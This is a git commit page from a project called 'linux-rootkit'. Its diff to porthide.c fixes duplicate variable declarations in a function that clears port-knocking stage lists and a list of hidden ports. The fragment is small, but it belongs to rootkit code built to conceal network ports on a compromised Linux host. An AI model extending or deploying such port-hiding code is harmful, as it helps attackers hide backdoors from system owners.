linux-rootkit

commit 8e67c891c465744941c9f33ffab9c95ef9fa574c
parent e589c6703e9f83783c6b7f1e182f8a96ffd2ff64
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 14:05:09 +0100

fixes issue

Diffstat:
M
src/porthide.c
 | 
10
++++++----

1 file changed, 6 insertions(+), 4 deletions(-)
diff --git a/src/porthide.c b/src/porthide.c
@@ -86,16 +86,18 @@ stage3_knock(lport_t port)
 void
 clear_hidden_lports(void)
 {
-    lport_list_t_ptr i = ips_stage1_tail;
+    lport_list_t_ptr i;
+
+    i = ips_stage1_tail;
     while ((i = remove_knock_from_list(i, i->lport)));
 
-    lport_list_t_ptr i = ips_stage2_tail;
+    i = ips_stage2_tail;
     while ((i = remove_knock_from_list(i, i->lport)));
 
-    lport_list_t_ptr i = ips_stage3_tail;
+    i = ips_stage3_tail;
     while ((i = remove_knock_from_list(i, i->lport)));
 
-    lport_list_t_ptr i = hidden_lports_tail;
+    i = hidden_lports_tail;
     while ((i = remove_lport_from_list(i, i->lport)));
 }